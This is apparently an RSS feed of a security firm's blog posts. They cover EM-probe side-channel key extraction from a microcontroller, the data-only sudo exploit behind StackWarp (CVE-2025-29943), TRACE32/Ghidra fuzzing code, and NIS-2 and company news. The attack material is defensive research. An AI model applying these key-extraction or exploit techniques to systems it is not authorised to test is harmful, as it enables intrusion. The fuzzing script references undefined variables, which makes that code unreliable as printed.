Subscribe to RSS feed

Side-Channel Attacks: Langer EM Probes and CPA

SCHUTZWERK GmbH — Mon, 02 Mar 2026 08:00:00 +0100

Side-Channel Attacks: Langer EM Probes and CPA

In hardware security research, side-channel attacks play a central role – unlike traditional software attacks, they use physical measurements to extract sensitive data. The goal is to measure the “whisper” of the chip and then extract secrets using various analysis methods.

In addition to power consumption measurements, electromagnetic probes (EM probes) are among the most important tools for capturing chip emissions and uncovering vulnerabilities in cryptographic implementations. This article shows how an evaluation with EM probes works, what insights it provides, and why it is essential for security assessment.

Various probes from Langer EMV-Technik are compared with their characteristics for a non-hardened target. Langer EMV-Technik is an established manufacturer of probes and tools for measuring electromagnetic fields. The primary goal is to use the insights gained from the evaluation to perform a quick assessment of a test device, which can be used in practice as a simple test for the disclosure of secrets.

The evaluation focused on the use of various near-field probes and a preamplifier from Langer EMV-Technik. A Correlation Power Analysis (CPA) – a statistical method for extracting cryptographic keys – was performed using ChipWhisperer®. An ATxmega128D4 microcontroller (128 KB Flash, 32 MHz, 8-bit) served as the test target, as used in many simple consumer devices. The target was deliberately not hardened to obtain the simplest possible setup for comparability of measurement results.

Experimental Setup and Procedure

The test setup consists of the following components:

Langer EMV-Technik Near-field probes RF 30 MHz - 3 GHz:
- RF-B 0.3-3 (2 mm probe head diameter)
- RF-B 3-2 (4 mm probe head diameter)
- RF-B 50-1 (10 mm probe head diameter)
Langer EMV-Technik Preamplifier PA 306 SMA set for signal amplification
ChipWhisperer® CW1200 (oscilloscope/recording device)
ChipWhisperer® CW308 UFO Board (adapter)
CW308T‑XMEGA Target Board (target device)
- Target Device: ATXmega128D4-AU
  - 128 KB Flash Memory
  - Clock Speed: 32 MHz
- Target Architecture: 8-bit Harvard
- Supply voltage 3.3 V

The goal was to successfully perform a Correlation Power Analysis (CPA) with the three different H-field probes (RF-B 0_3-3, RF-B 3-2, RF-B 50-1), with different coil diameters and a preamplifier PA 306 SMA using the ChipWhisperer® stack (CW1200, CW308 UFO, CW308T-XMEGA Target), record measurement data, and compare them. The notebook H-Field Probe Demo 1 (with CPA) .ipynb available in the ChipWhisperer Jupyter GitHub was used for this purpose. The preamplifier has a gain of 30 dB and operates in a frequency range from 100 kHz to 6 GHz. It is therefore very well suited for the target used here with a clock frequency of 32 MHz. In particular, the use of differently sized probes was to be evaluated with regard to application on a target with a closed package (plastic housing) and manual placement on the target.

Langer EMV-Technik near-field probes with different coil diameters

The idea behind this was to find out how easy it is to manually place a probe on an unknown test device and read the key from the chip. The orthogonal position of the coil to the probe body facilitates positioning.

For each of the three H-field probes, the CPA script was executed to realize the side-channel attack. The measurements were recorded via the ChipWhisperer® to enable synchronous sampling to the processor clock. The number of traces required was kept as low as possible, with a constant 5,000 samples recorded in each case. With a sample duration of approximately 33.85 ns, the ADC resolution is 10 bits.

For best results, the probes were placed vertically and as close as possible to the target. Placement was done manually with a probe holder and adjusted based on results from the t-test procedure to find a good position. The setup was not additionally shielded.

Results

With all tested probes, it was possible to successfully achieve key extraction using the CPA method, with CPA showing statistical significance of the results in all measurement series performed. The respective probes required the following number of traces (see Diagrams 1-3):

RF-B 0_3-3: 550 traces
RF-B 3-2: 250 traces
RF-B 50-1: 100 traces

Diagram 1: Correlation progress for Byte 0 with RF-B 0.3-3

Diagram 2: Correlation progress for Byte 0 with RF-B 3-2

Diagram 3: Correlation progress for Byte 0 with RF-B 50-1

The statistical significance can be read from the diagrams for byte 0 as an example. The thick red line represents the correlation of the correct key byte. As soon as this value is significantly above the correlations of the other values, the minimum number of traces for a reliable statement has been reached.

It can be seen that the number of necessary traces decreases with the size of the measurement radius. This is because a larger measurement range provides greater tolerance for manual placement, and the probe does not need to be positioned exactly at the optimal position on the target. It is expected that automated positioning with the smaller probes, especially with weaker signals, could deliver better results. The larger measurement radius also increases the recorded noise, but the Langer EMV-Technik probes have a very good signal-to-noise ratio, which compensates for this.

For comparison, the attack – measured via a shunt resistor in the same target’s power supply – requires approximately 100 traces, as there is a very strong signal here, and with the EM probe with preamplifier included with the ChipWhisperer approximately 250 traces. However, measurement via a shunt resistor is very difficult in practice, as in many cases there are multiple power supplies and capacitances in the system and hardware manipulation is often required. Therefore, in these cases it is much easier to place a probe over the target. Since this was a non-hardened target, the signal could already be detected well using an oscilloscope.

Conclusion

The following insights can be derived from the results:

The hardware stack used (CW1200, CW308 UFO, Target Board) provided a reliable platform for evaluating side-channel analyses.
The combination of Langer EMV-Technik near-field probes and preamplifier proved to be extremely functional and was crucial for the success of the attacks.
The attack can be performed after simple manual adjustment of the setup.
Transferability to hardened or faster operating targets is feasible, and the probes can therefore be used for quick verification of side-channel leaks.
The Jupyter Notebook provided by ChipWhisperer® enabled a simple option to evaluate the performance of CPA analysis on the XMEGA target.
Despite different probe designs, CPA was very reliable with all probes. It was not necessary to perform automated and time-consuming testing of the exact placement of the probes.
Large probes are suitable for quick identification of side-channel leaks, especially with closed packages, as there is greater tolerance for placement.
It can be assumed that smaller probes can be used better against hardened targets and through exact placement, and offer higher precision especially with greater interference. Further tests are required for this.

The larger probes can be used for quick analysis in combination with a good signal-to-noise ratio and little prior knowledge. With smaller probes, there is also the possibility of covering many advanced requirements. The simple handling, especially through the possibility of vertical placement of the probe, is also an advantage when mechanical automatic placement is to be used.

StackWarp (CVE-2025-29943): Exploiting an AMD SEV Hypervisor Vulnerability with a Data-Only Attack

Youheng Lü — Wed, 18 Feb 2026 11:25:58 +0100

On January 16, 2026, researchers at the CISPA Helmholtz Center for Information Security published StackWarp (CVE-2025-29943), a new CPU vulnerability that allows a malicious hypervisor to compromise encrypted virtual machines protected by AMD SEV.

This post tells the story of how I quickly identified promising research and helped turn a new exploit primitive into a working data-only exploit within two hours. The work reflects the flexibility we have at SCHUTZWERK — I was able to quickly reallocate some of my time to pursue a highly promising research project.

I’ll start with the story, then provide a technical overview of the sudo data-only exploit described in Section 6.3 of the paper.

The Story

It all started with an innocent-looking message:

August 16, 2025 Ruiyi Zhang – 4:12 PM “Youheng, do you still recall which function of sudo you examined for CacheWarp?”

For context, Ruiyi is the lead author of CacheWarp, where I contributed exploit development expertise. The message didn’t seem unusual at first — I replied and moved on.

As a side note, the deadlines for USENIX Security ‘26 would soon become relevant:

Paper registration due: August 19, 2025
Paper submission due: August 26, 2025

A few days later, while recovering from an illness, my mind wandered back to Ruiyi’s question. Something felt off. CacheWarp had been published more than a year earlier — why ask about sudo now?

Unless they had found something new.

After recovering, I reached out:

August 21, 2025 Youheng Lü – 10:49 AM “Hey, where did this question come from? Are you looking into sudo?”

Ruiyi Zhang – 10:57 AM “Yes, we are looking if there are any useful gadgets for another paper.”

After a few more messages, the situation became clear. Their team had discovered a new exploit primitive and wanted to build a sudo exploit around it. The primitive was conceptually simple: the attacker could shift the stack pointer (rsp) up and down. While this makes building a traditional ROP chain trivial, the researchers specifically wanted a data-only exploit that preserves control-flow integrity to bypass mitigations like shadow stacks.

They had five days left before the submission deadline.

Data-Only Exploit Overview

One of the biggest challenges in data-only exploitation is that most interesting variables live in registers, not on the stack. However, during CacheWarp exploitation, I had noticed something useful in the Linux kernel:

Dump of assembler code for function entry_SYSCALL_64:
[...]
0xffffffff8200015e <+222>: pop %r8
=> 0xffffffff82000160 <+224>: pop %rax <= HERE.
0xffffffff82000161 <+225>: pop %rcx
0xffffffff82000162 <+226>: pop %rdx
0xffffffff82000163 <+227>: pop %rsi

The return value of a system call is temporarily stored on the stack and then loaded into rax via pop rax in entry_SYSCALL_64.

During CacheWarp, we didn’t end up using this observation. But it suddenly became highly relevant.

From previous work, we already knew that if we can force getuid() to return 0, we can exploit sudo. After a getuid call, the stack layout looks like this:

--------
| 0 |
| ---- |
| 1000 | <- rsp
--------

By shifting rsp upward, we can cause pop rax to load 0 into rax. We then shift rsp back to its original position to preserve control-flow integrity. The result is a data-only manipulation of the syscall return value.

Tracking the exact line of code and validating the proof of concept in GDB took about two hours, thanks to the excellent kernel debugging setup from pwn.college. Ruiyi now had a working data-only exploit primitive.

Over the next four days, the team engineered a full exploit using the real hardware primitive. The paper was accepted with only minor revisions. I was also added to the CVE credits, which I’m very grateful for.

Takeaways

This experience reinforced two important lessons:

No knowledge or effort is wasted. Kernel internals I explored a year earlier suddenly became critical to exploiting a new vulnerability.
Stay curious. If I hadn’t questioned that initial message, I might have missed the opportunity to contribute.

Research progress often depends on connecting old insights with new discoveries. StackWarp was a perfect example of how prior experience can dramatically accelerate exploitation when time is limited.

Conclusion

At SCHUTZWERK, we have highly skilled experts who specialize in rapid prototyping of exploits for hardware and software vulnerabilities. If you are interested in our expertise, schedule a free initial consultation .

NIS-2 Is Here – What Now?

SCHUTZWERK GmbH — Wed, 17 Dec 2025 09:00:00 +0100

With the entry into force of the NIS-2 Implementation Act (NIS2UmsuCG) on December 6, 2025, a significant turning point has been reached for many organizations in Germany. Significantly more organizations than before must now comply with the new cybersecurity regulations. The requirements are comprehensive: from clear reporting obligations for security incidents to detailed provisions for risk management.

Many decision-makers are now asking themselves the same question: Does NIS-2 apply to my organization and what do I need to do specifically?

What Organizations Need to Consider in 2025 Regarding the NIS-2 Implementation Act

The implementation of the NIS-2 Directive is not simply a new law in the Federal Law Gazette, but a fundamental realignment of cybersecurity in Germany. The BSI (Federal Office for Information Security) and other supervisory authorities are establishing a framework that extends far beyond traditional KRITIS sectors. The scope of application has been deliberately expanded. Not only operators of critical facilities, but also numerous important and particularly important entities, regardless of their size, now fall under the new regulations. Organizations that have not previously operated in the critical infrastructure environment must now assess whether they are among the affected entities. And those who are affected must respond within a short timeframe.

What does this mean in practice? Organizations must prepare for information security to be more heavily regulated, more strictly monitored, and more closely integrated with other requirements such as the Digital Operational Resilience Act (DORA) in the future. The legislator aims to achieve genuine harmonization, not only between the NIS-2 Implementation Act and the KRITIS Umbrella Act, but across all sectors.

Am I an “Important” or “Particularly Important” Entity?

As part of the implementation of the NIS-2 Directive and the planned NIS-2 Implementation Act, organizations must assess whether they fall within the scope of NIS2. Key factors include the sector (critical infrastructure, digital infrastructure, commerce, managed services) as well as thresholds such as employee count, annual revenue, and size of the entity. A detailed list of affected sectors can be found in Annexes 1 and 2 of the corresponding BSI publications. Regardless of their size, certain operators of critical facilities or critical infrastructure organizations can be classified as particularly important entities.

Organizations already classified as KRITIS organizations are automatically classified as particularly important entities through harmonization with the KRITIS Umbrella Act. Affected organizations receive support in classification and implementation of NIS-2 Directive requirements, as well as in implementing essential principles of information security management for both federal government entities and private sector organizations.

If you are unsure whether your organization falls under the NIS2 Implementation Act or is among the affected entities, now is the right time to conduct an impact assessment. The official NIS-2 impact assessment from the BSI can be used for this purpose. For further questions or support needs, our experts at SCHUTZWERK are happy to provide advisory assistance.

What Obligations Now Apply to Organizations Under NIS-2

With the entry into force of the NIS-2 Implementation Act, affected entities face several key obligations. These include, in particular, reporting obligations for security incidents:

Registration with the digital service “Mein Unternehmenskonto” (MUK) as the central access point to digital government services.
Registration in the newly developed BSI portal, which will be activated from early January 2026 and serves, among other things, as a reporting point for significant security incidents.
Introduction, documentation, and compliance with risk management measures as well as technical and methodological requirements for information security management.

These obligations complement existing standards such as ISO 27001, IT-Grundschutz, as well as industry-specific security measures and requirements. Supervisory authorities establish reporting obligations and can impose sanctions for non-compliance. Management is responsible for ensuring compliance.

The New Registration Process: MUK and BSI Portal

For all affected organizations in Germany, NIS-2 registration begins with a two-step process that covers both identification and reporting of security incidents. A prerequisite is a German tax number, which is used to apply for the required ELSTER organization certificates.

Step 1: Registration with “Mein Unternehmenskonto” (MUK)

MUK serves as the central access system to digital government services for affected organizations in Germany and is based on the proven ELSTER technology. Every organization with a German tax number must apply for ELSTER organization certificates for its employees to log in securely and comply with the requirements of the NIS2 Directive and the NIS2 Implementation Act.

Activation occurs in two steps: via email and a postal activation letter, which is typically delivered within five business days. The first user automatically assumes the role of administrator, can invite additional users, and assign access rights and roles within the information security management framework.

Step 2: Registration in the New BSI Portal from January 2026

With the activation of the BSI portal on January 6, 2026, all NIS-2 regulated entities must register mandatorily. The portal will later also serve as the central reporting point for significant security incidents. If an incident occurs before registration, reports can temporarily be submitted via an online form. Operators of critical facilities (KRITIS) and federal agencies will initially continue to use their existing reporting channels.

This two-step registration process forms the formal basis for reporting security incidents and complying with NIS-2 obligations. The actual implementation of risk management measures and all technical and methodological requirements for information security remains the responsibility of the affected organizations.

What Affected Organizations Should Prepare Now

The first months after the entry into force of the NIS-2 Implementation Act are crucial for ensuring sustainable compliance and stable information security within the organization. Organizations should now systematically assess whether they are among the affected entities and what measures are required to meet the requirements of the NIS2 Implementation Act and the NIS2 Directive.

It is advisable to designate at least two responsible persons to coordinate information security. These individuals should be capable of monitoring and documenting risk management measures, incident response, and backup and recovery processes. Management will in future be explicitly responsible for risk management and compliance with legal reporting obligations. Training and awareness at the management level are therefore essential to strengthen the resilience of digital infrastructure and ensure that information technology security measures are implemented efficiently. For many organizations, this is the first practical step. Depending on the size of the entity and sector, an individual approach may be appropriate.

Systematically Developing Information Security

NIS2 requirements go far beyond formal registration obligations. Organizations must continuously optimize the following areas, among others:

Risk management and systematic evaluation of the effectiveness of security measures
Incident response and crisis management
Backup and recovery processes
Supply chain security and integration of security measures in acquisition, development, and maintenance
Secure software and system development as well as technical and methodological requirements for information security management
Training and regular awareness-raising for employees
Access and authorization concepts that protect digital resources
Reliable processes for alerts and situation reports, ensuring security-relevant communications can be received and processed around the clock

Through these measures, organizations not only increase the resilience of their digital infrastructure but also simultaneously meet the legal requirements of the NIS2 Implementation Act, strengthen information technology security, and significantly reduce the risk of security incidents.

Start Now to Secure Cybersecurity in the Long Term

NIS-2 is more than just another compliance topic. The revised NIS-2 Implementation Act aims to sustainably strengthen the digital resilience of organizations and critical infrastructure in Germany. For organizations, this means: plan early, clarify responsibilities, establish structures for information security, and document risk management measures.

We are happy to support you in assessing whether your organization is affected and conducting a maturity level analysis . This ensures that all reporting obligations for security incidents, risk management measures, and information security requirements are met.

Contact us to plan the next steps for your organization together and ensure long-term security of your digital infrastructure.

SCHUTZWERK @ German OWASP Day 2025

SCHUTZWERK GmbH — Thu, 13 Nov 2025 09:00:00 +0200

On November 25-26, 2025, the German OWASP Day takes place at the Radisson Blu Conference Hotel in Düsseldorf. SCHUTZWERK has been a regular sponsor of this independent conference for application security since 2016, bringing together security experts, developers, and IT decision-makers.

Tickets are still available. More information and registration: god.owasp.de/ 2025

The Conference

The first day (November 25) is designed as a training day. Two workshops run in parallel in the morning: “Leveraging Browser Features for Proactive Defense” by Javan Rasokat and the “Workshop Cyber Resilience Act” by Michael Helwig. In the afternoon, the German Chapter Meeting takes place, alongside the workshop “Threat Modeling with AI” by Georges Bolssens. The day concludes with a networking event.

On the second day (November 26), Eva Wolfangel opens the conference with her keynote “Code Dark Age”. Subsequently, two parallel tracks run with talks on current topics in application security: from Vulnerability Detection to PDF attacks to Passkeys and AI Security. The complete program is available at god.owasp.de/ 2025/ #programm .

The conference offers vendor-neutral content without marketing presentations, from the cybersecurity community for the cybersecurity community. Like all OWASP activities, it is made possible by the volunteer commitment of its members.

OWASP: From Classic Web Risks to AI Security

The Open Worldwide Application Security Project (OWASP) Foundation is a non-profit organization dedicated to improving software security. Since its founding, OWASP has made all resources available free and openly – a philosophy that makes security knowledge accessible to organizations of all sizes.

OWASP became known primarily through the OWASP Top 10 , the regularly updated list of the ten most critical security risks for web applications. On November 6, 2025, the Release Candidate of the 2025 version was published with two new categories: “Software Supply Chain Failures” reflects the growing importance of supply chain security, while “Mishandling of Exceptional Conditions” focuses on error handling. Coverage has been significantly expanded: from about 30 CWEs in 2017 to 589 CWEs in 2025, based on the analysis of 2.8 million applications.

OWASP’s evolution is also evident in newer projects. With the OWASP AI Exchange and the OWASP Top 10 for Large Language Models , the organization addresses modern threats in the AI domain – from Prompt Injection to Training Data Poisoning. The Web Security Testing Guide continues to provide structured testing methods for classic web applications.

SCHUTZWERK uses OWASP methods and knowledge in Penetration Tests and Web Application Security Assessments , among others. Our support for the German OWASP Day is based on the conviction that security knowledge should be openly accessible and that exchange between practitioners in the community is valuable for collaboratively advancing cybersecurity.

We’ll see you in Düsseldorf!

SCHUTZWERK SPOKE AT BEYOND IOT 2025

SCHUTZWERK GmbH — Tue, 14 Oct 2025 11:00:00 +0100

Our Senior Security Consultant Maximilian Heichler presented at Beyond IoT 2025 - the developer conference for Industrial IoT and digitalization. We look back on a very successful event.

Industrial Systems as Targets: Security in IIoT

In his presentation “Industrial Systems as Targets: Security in IIoT”, Maximilian covered the key aspects of security in industrial IoT environments. Participants learned:

The architecture and networking of modern industrial facilities
Current security threats facing industrial systems
Typical attack patterns and progression in production environments
Tools and methods employed by attackers
Proven protective measures and security strategies

The presentation specifically targeted professionals from development, management, and process control who work with IIoT environments. Maximilian provided insights into the methods and motivations of cyber attackers.

About the Speaker

As a Senior Security Consultant at SCHUTZWERK, Maximilian Heichler has contributed his expertise in Embedded Systems Security and Cloud Security since 2020. His work with IoT technologies makes him an expert in industrial security solutions. In addition to his consulting work, he regularly shares his expertise as a lecturer and speaker at industry conferences.

Embedded Fuzzing Part 1: Getting Lauterbach snoops to Ghidra

SCHUTZWERK GmbH — Wed, 04 Jun 2025 13:00:00 +0100

This blog series introduces a joint research initiative between SCHUTZWERK and Lauterbach (as announced previously ), aimed at exploring debugger/tracer-guided fuzzing in embedded systems. The aim is to setup a dynamic fuzz testing framework using Ghidra (an open source reverse engineering tool) and Lauterbach Trace32®. Due to the excellent support of a wide range of microcontrollers and architectures provided by Lauterbach TRACE32®, the resulting fuzzing setup is aimed to be adaptable to most embedded systems with little effort.

Figure 1: Planned Fuzzing Cycle.

In the setup, the fuzzer uses the TRACE32® debugger to extract information (e.g. the program counter) from a target microcontroller or SoC at runtime [5] as well as an initial firmware dump [0]. This is used to optimize mutated input data that is sent to the attached target over data bus like CAN, Ethernet or RS232, as shown in Figure 1. Ghidra will be used to provide program flow information from the initial firmware dump to optimize the paths. Furthermore, Ghidra allows to identify useful program segments for instrumentation like privileged segments, dispatchers or crash handlers. This will be the main focus of this first blog post.

Additional Project Constraints

To get started we want to focus on setting up fuzzing with any hardware target with available JTAG debugging. This is a grey-box scenario where only the device is available, with no access to source code and no instrumentation compiled into the code, like often the case during embedded security assessments . In many cases, a trace port is not available either. Most production or pre-production devices are only equipped with minimal JTAG port for flashing.

Step 1: Program Flow Snooping

For scenarios where a tracing port on our target is not available, TRACE32® has the solution: Snooping. Using JTAG/SWD, TRACE32® periodically retrieves the Program Counter PC register of the target. Due to the comparably low speed of the JTAG/SWD interface and protocol overhead, the sample rate is relatively slow. Thus, we can only record a sparse set of PC register samples. To capture a higher number of PC values, the target processor’s clock speed may be reduced. This however will likely impact a real-world target’s application.

Using Lauterbach’s RCL API, we can automate TRACE32® from an external python application The automation can later be used to make repeated recordings and integrations for the fuzzer. To enable RCL, add/uncomment the following from your Lauterbach start configuration (usually called config.t32):

RCL=NETTCP
PORT=20000

In the following python example, we record PC samples of the target and save it to a file:

import time
import lauterbach.trace32.rcl as t32
dbg = t32.connect(node='localhost', port=20000, protocol="TCP")
cmd = dbg.cmd
print('Initializing the target...')
# Initialize your target here! e.g.:
# cmd('SYStem.CPU […]')
# cmd('SYStem.CONFIG.DEBUGPORTTYPE SWD')
# cmd('SYStem.JtagClock 32MHz') # Set the JTAG clock speed as high as possible
# …
cmd('SYStem.Up') # reset the target
print('Setting up debugger and snooper...')
snoop_freq = 50000 # This value can be set too high, it will be limited by the JTAG/SWD bandwidth
# At 32MHz SWD frequency, <50k samples/second were achieved.
snoop_rate = (1/snoop_freq) * (10**6)
cmd(f'SNOOPer.RATE {snoop_rate:1.3f}us')
snoop_duration = 3
sample_count = int(sample_duration * sample_freq * 1.1)
cmd(f'SNOOPer.SIZE {sample_count}.')
cmd('SNOOPer.Mode PC')
print(f'Running Program for {RUN_DURATION} seconds...')
cmd('Go')
time.sleep(RUN_DURATION) # The snooper will now collect samples
cmd('Break')
print(f'Saving snoop file to {SNOOPER_OUTPUT_PATH}...')
cmd('SNOOPer.OFF')
cmd(f'PRinTer.FILE {SNOOPER_OUTPUT_PATH}')
cmd('PRinTer.FileType CSV')
cmd('WinPrint.SNOOPer.List')

Due to the sparse sampling rate, the code of interest must be executed repeatedly to gain a meaningful sample set. For evaluation purposes, we iterate the object code in a loop. In real-world tests, we must repeatedly trigger the execution by other means.

The recorded samples are saved in a file at SNOOPER_OUTPUT_PATH in Lauterbach’s CSV format. In the next step, we’ll convert the file into the EZCOV format.

Step 2: Converting the snooped data to EZCOV

To analyze the recorded samples, we want to view it in the Ghidra Cartographer Plugin , which requires the samples to be in the EZCOV format. Lauterbach’s Snooper format and EZCOV are both CSV with one PC address in each line. The following python snippet converts the previously captured samples and saves it as EZCOV.

print(f'Converting Snoop file to EZCOV format...')
EZCOV_PATH = SNOOPER_OUTPUT_PATH + '.ezcov'
with open(SNOOPER_OUTPUT_PATH, 'r') as snoop_file:
with open(EZCOV_PATH, 'w') as ezcov_file:
ezcov_file.write('EZCOV VERSION: 1\n')
while line := snoop_file.readline():
columns = line.split(',')
if len(columns) < 2: continue
addr = columns[1].strip('"')
if not addr.startswith('T:'): continue
addr = addr.strip('T:')
ezcov_file.write(f'0x{addr}, 4, [ ]\n')
print(f'Saved EZCOV file to {EZCOV_PATH}')

To implement any form of instrumentation, we first need to analyze the binary running on the microcontroller. To do this, we can dump the microcontroller’s memory and import it into Ghidra for analysis. Ghidra then decompiles the firmware. This serves two purposes: first, to generate a code flow graph that supports our fuzzer, and second, to visualize in ghidra-cartographer how the device behaves when it receives input.

Step 3: Dumping the target’s program memory

The extraction of the target’s firmware is different depending on the target. For a target with 1MiB of program flash at 0x8000000, a Lauterbach command such as the following would work.

Data.SAVE.IntelHex firmware.hex 0x8000000--0x800FFFFF

Step 4: Analyzing the snoop in Ghidra Cartographer

The firmware and snooped data can now be imported in Ghidra. Depending on the target, it may be necessary to offset the memory addresses when importing the firmware file to match the PC sample values.

Figure 2: Highlighted covered assembly code.

After importing the coverage data, code and instructions that have been executed will be highlighted, as shown above in Figure 2. Blank spots in-between two highlighted lines can be a result of the slow PC sampling rate or a jump instruction. Also, code blocks that have run less frequently may not be highlighted at all.

Figure 3: Highlighted covered functions in code coverage view.

In the code coverage view of Cartographer (Figure 3), we can see coverage metrics for all functions. The table rows are colored as a heatmap, from fully covered functions (blue) to less covered functions (red). The Ghidra Cartographer plugin also offers additional options such as creating diffs of coverage samples and viewing multiple coverages simultaneously.

Using the Cartographer, we can now observe how the target behaves differently depending on different inputs. If we record PC samples while repeatedly feeding malformed data to the target, we may be able to observe error routines or crash handlers. Similarly, we can explore parts of the software such as password checks, privileged functions and shared functionality to further understand our target and find attack opportunities. This can be directly integrated on common Ghidra based reverse engineering workflows and allows getting around in large binaries much easier.

In the next article of this project we will take a look at how to put this setup in a fuzzing loop.

SCHUTZWERK Wins Two Framework Contracts with Deutsche Bahn for IT and OT Security Testing

SCHUTZWERK GmbH — Tue, 20 May 2025 09:00:00 +0100

We are pleased to announce that SCHUTZWERK has successfully competed in two parallel EU-wide tender processes conducted by Deutsche Bahn and has been selected for both multi-year framework contracts. The first framework contract covers comprehensive penetration tests across various domains including networks, IT infrastructure, web applications, mobile applications, and APIs. The second framework contract focuses on specialized security assessments in the field of Operational Technology (OT) and embedded systems. Being selected as one of the few service providers successful in both tenders highlights our comprehensive expertise in both IT and OT security areas.

Deutsche Bahn: Critical Infrastructure with High Security Requirements

Deutsche Bahn AG, as a federally owned mobility and transport company with over 200,000 employees, is one of Europe’s largest transportation and logistics enterprises. With a rail network of approximately 33,400 kilometers and more than 40,000 train journeys daily, the railway is an important component of Germany’s critical infrastructure.

In recent years, Deutsche Bahn has invested heavily in the digitalization of its infrastructure. The “Digital Rail Germany” program focuses on digitalization, automation, and artificial intelligence as core elements of the railway strategy. This progressive networking of IT and OT systems requires high security standards and continuous cybersecurity monitoring.

Competitive Tenders: SCHUTZWERK Convinces Through Broad Expertise

The awarding of both framework contracts followed rigorous and detailed selection processes as part of parallel EU-wide tenders. The technical capabilities, experience, and qualifications of applicants were thoroughly examined in each case. SCHUTZWERK’s selection for both challenging tenders confirms our exceptional breadth and depth of expertise in the field of cybersecurity - from classical IT systems to complex OT environments.

Comprehensive Security Services for Complex Requirements

As part of the partnership, SCHUTZWERK will provide a broad spectrum of specialized security services:

Comprehensive Penetration Tests : Simulation of realistic attacks on IT systems and networks to identify vulnerabilities before they can be exploited by actual attackers
Specialized OT and Embedded Security Analyses : Assessment of industrial control systems and critical infrastructure components essential for smooth railway operations
Vulnerability Analyses and Risk Assessments : Systematic identification and prioritization of security risks in complex IT and OT environments
Web Application Security Assessments : Testing of the numerous customer-facing applications and internal tools of Deutsche Bahn
Cloud Security Assessment : Testing of cloud environments and services for configuration vulnerabilities and security risks

Challenges of Digitalization in the Railway Sector

Deutsche Bahn is driving digital transformation in the transportation sector. This evolution is part of the company’s comprehensive digitalization strategy and presents new cybersecurity challenges for railway operations.

Projects such as automated train control (ETCS), networked railway stations, and digital customer services create continuously evolving requirements for IT and OT security. As a critical infrastructure operator, Deutsche Bahn must meet specific security standards. The complex infrastructure includes:

Digital control and safety technology for train traffic
Networked signal boxes and signaling technology
Automated operating systems for railway stations and logistics centers
Customer-oriented digital services and payment systems

These systems must be protected against various cyber threats. Particularly dangerous are targeted attacks on critical infrastructure, which could have significant impacts on the availability and safety of the railway system. As connectivity increases, so does the attack surface, making regular security assessments even more important.

SCHUTZWERK: Specialist in Security Testing of Critical Infrastructure

Our experience in technical and conceptual security testing of complex systems and critical infrastructure makes SCHUTZWERK a suitable partner for Deutsche Bahn. With our team of offensive IT security experts, OT specialists, and embedded security professionals, we identify vulnerabilities and provide well-founded recommendations for improving security.

In the field of OT and embedded security, where industrial control systems and critical infrastructure are the focus, we contribute specialized testing expertise that is important for assessing the security of railway systems.

Sustainable Mobility in Daily Business Operations

The collaboration with Deutsche Bahn has special significance for us, as railways also play an important role in our day-to-day business. Many SCHUTZWERK employees are enthusiastic train users and choose the train as their preferred means of transport for travel to clients, project assignments, or events whenever possible and practical.

“As a co-founder of SCHUTZWERK, I have traveled hundreds of thousands of kilometers by train between our locations in Ulm and Hamburg and to our clients in recent years. I am very pleased that we can now actively contribute to the security of this infrastructure that is so important for Germany,” explains Jakob Pietzka, co-founder and one of the managing directors of SCHUTZWERK.

Together for a Secure Digital Future

For us the collaboration between SCHUTZWERK and Deutsche Bahn goes beyond a mere service contract. It represents a joint commitment to the security of a significant infrastructure in Germany and contributes to the mobility of people and the transport of important goods.

We look forward to the challenges and opportunities of this partnership and are proud to contribute to the secure digital transformation of Deutsche Bahn.

Partnering with the CVE Program for Stronger Cybersecurity

SCHUTZWERK GmbH — Tue, 13 May 2025 13:00:00 +0200

SCHUTZWERK GmbH – Partnering with the CVE Program for Stronger Cybersecurity

We are pleased to announce that SCHUTZWERK GmbH has been authorized as a CVE Numbering Authority (CNA) by the CVE Program. This makes us one of the few German partners in the CVE Program. From now on, we can assign CVE numbers to vulnerabilities discovered by our employees and customers.

Strengthening Global Cybersecurity Efforts

In our work for clients, we frequently discover vulnerabilities through penetration tests and red teaming assessments , that also affect others. Where suitable we publish vulnerabilities via our responsible disclosure process . Through our cooperation with the CVE Program, we can publish security advisories more quickly and make these vulnerabilities accessible to the global community.

The Importance of CVE Records

With our responsible disclosure process, we support the mission of the Common Vulnerabilities and Exposures (CVE®) Program: identifying, defining, and cataloging publicly known security vulnerabilities. The CVE Records published in the CVE List provide standardized descriptions of vulnerabilities, ensuring that IT and security professionals address the same issues.

As a CNA, SCHUTZWERK takes on the following responsibilities:

Assigning CVE numbers to newly discovered vulnerabilities within our scope
Creating and publishing information about these vulnerabilities in CVE Records
Contributing to the overarching mission of cybersecurity through increased transparency and standardized vulnerability identification

About the CVE Program

We are excited to be part of the CVE Program and to actively contribute to global IT security.

Would you like to learn more about the CVE Program and stay updated on newly discovered vulnerabilities? Visit www.cve.org and become part of a global community working toward better cybersecurity for everyone.

SCHUTZWERK renews TISAX certification

SCHUTZWERK GmbH — Fri, 09 May 2025 08:35:25 +0200

We are very pleased that SCHUTZWERK has successfully renewed its TISAX certification (Trusted Information Security Assessment Exchange). After a multi-day, intensive assessment by an accredited auditor, we have once again met all relevant security criteria of the German Association of the Automotive Industry (VDA). The certification is now valid for another three years and confirms our high level of information security in the automotive context.

What is TISAX?

TISAX is an assessment and exchange mechanism for information security that was introduced in 2017 by the German Association of the Automotive Industry (VDA) with the ENX Association. Many automotive manufacturers and suppliers require their business partners to have TISAX certification to ensure the protection of sensitive information such as processes, trade secrets, and prototypes. The TISAX standard is based on ISO/IEC 27001 and has been specifically adapted to the requirements of the automotive industry.

Assessment Level 3 achieved

We are particularly proud to have once again achieved the highest security level, Assessment Level 3. At this assessment level, all our descriptions and evidence for each individual control criterion were examined in detail and verified through on-site inspections. Our auditors were particularly impressed by:

Our comprehensive Information Security Management System (ISMS)
The carefully documented IT infrastructure with precise processes
Our access protection measures and authorization concepts
Regular security training for all employees

Successful certification for two demanding TISAX labels

During the recertification, we also carried out the assessment for two particularly demanding TISAX labels:

Protection of Prototype Parts and Components

This label certifies our ability to protect classified components and parts according to the highest automotive standards. According to the TISAX participant manual, this label applies to “all companies that manufacture, store, or are entrusted with components or parts classified as requiring protection at their own locations”.

To meet this requirement, at SCHUTZWERK we implement a multi-layered protection approach:

Physical Protection Measures

Secured access control systems with multifactor authentication
Separate protection zones per customer project and project team
Special storage locations with defined access restrictions

Organizational Protection Measures

Strict confidentiality agreements with clear sanction mechanisms
Regular awareness and security training for all employees
Clearly defined responsibilities and transparent processes

Specific Measures for Prototypes

Documented procedures for handling, transport, and disposal
Special labeling and inventory processes
Tenant separation and compliance with customer-specific requirements

Strictly Confidential

